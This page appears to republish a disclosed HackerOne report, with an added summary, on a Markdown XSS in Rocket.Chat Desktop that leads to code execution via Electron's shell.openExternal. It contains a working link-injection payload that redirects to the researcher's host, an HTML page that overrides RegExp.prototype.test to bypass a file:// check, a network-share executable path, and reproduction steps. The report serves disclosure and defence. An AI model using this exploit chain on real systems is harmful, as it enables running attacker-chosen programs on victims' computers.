Skip to content
XSS Disclosed report Advanced

Remote Code Execution in Rocket.Chat Desktop

The Markdown parser in Rocket.Chat Desktop fails to properly escape link attributes, allowing an attacker to inject JavaScript event handlers. This can lead to remote code execution by abusing the Electron shell.openExternal function to open local files or network shares.

Matt Austin Follow

Originally disclosed on HackerOne

  • Triaged in 7 hours
  • Fixed in 7 months
  • Disclosed after 11 months

Summary: The Markdown parser can be tricked into allowing arbitrary Javascript leading to "remote code execution".

Description: By combining the "link" and inline code block we can trick the parser into breaking out of the current HTML attribute.

This allows us to control other attributes of the tag and trigger javascript events.

[ hax ](http://hax//onmouseover=location='https://maustin.net/hax/rocket/hack.html';"`hax`zzz)

becomes

HTML
<a href="&lt;a href=" http:="" hax="" onmouseover="location='https://maustin.net/hax/rocket/hack.html';&quot;&quot;" target="_blank" rel="noopener noreferrer">

This is a simple redirect to: https://maustin.net/hax/rocket/hack.html

From this point the goal is to get the application to call shell.openExternal(href); with a URL we control. Thats because:

 "open 'file://localhost/Volumes/Macintosh HD/foo.txt'" opens the document
 in the default application for its type (as determined by LaunchSer-
 vices).

Note: For this demo I point to file:///Applications/Calculator.app however if you point to a public NFS or SMB server on windows this executable can be controlled by the attacker. (example at: file:///net/192.241.239.91/var/nfs/general/hack2.app)

In https://github.com/RocketChat/Rocket.Chat.Electron/blob/master/src/public/preload.js#L45 all links are hooked and some patter matching is used to check before firing them off to shell.openExternal(href);

Normally preload javascript is an "isolated scope" in this case however the code is directly attached to the user controlled DOM as the "window.onload" handler. This means we can overload some global objects and methods including the RegExp.prototype.test method. Now we can bypass the file:\/\/ check send our application path to openExternal.

HTML
<!DOCTYPE html>
<html>
    <head>
      <script>
        RegExp.prototype.test = new Proxy(RegExp.prototype.test, {
          apply: function(target, thisArg, argumentsList) {
            console.log(thisArg.source);
          console.log(argumentsList[0]);
          if((thisArg.source == '^file:\\/\\/.+') && (argumentsList[0] === 'file:///Applications/Calculator.app')){
            return false;
          }
          return Reflect.apply(target, thisArg, argumentsList)
          }
        });
        setTimeout(()=>{
            a = document.createElement("A")
            a.href="file:///Applications/Calculator.app"
            document.body.appendChild(a)
            a.click()
        }, 3000);
      </script>
    </head>
    <body>
     <h1>3...2...1...๐Ÿš€</h1>
    </body>
</html>

Releases Affected:

  • = 2.9.0

Steps To Reproduce (from initial installation to vulnerability):

  1. Create a new channel to test in.
  2. Send the following snippet of markdown:
[ hax ](http://hax//onmouseover=location='https://maustin.net/hax/rocket/hack.html';"`hax`zzz)
  1. Move your mouse over the link you just send and

Supporting Material/References:

Suggested mitigation

  • The markdown parser needs a little love to prevent the initial xss.
  • I believe you should be able to use something like window.addEventListener("load", .. to execute the checks in the proper scope.

The original report as published on HackerOne, by mattaustin. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could get the app to open a local application or an attacker-controlled executable on a network share via shell.openExternal.

What the attacker needed

Victim uses Rocket.Chat Desktop; attacker can send a message in a channel

The fix

The Markdown parser should be fixed to prevent attribute injection, and the link checks should be moved to a proper scope using window.addEventListener("load", ...).

How it was found

  1. Create a new channel to test in.
  2. Send the malicious markdown snippet.
  3. Move your mouse over the link you just sent.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The chat app's Markdown parser, which turns text into formatted messages, didn't properly sanitise links. An attacker could craft a special link that, when hovered over, runs malicious code. This code could then trick the desktop app into opening harmful files or programs on the victim's computer.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Matt Austin

View all

7 more disclosed reports, best first.

More from Rocket.Chat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.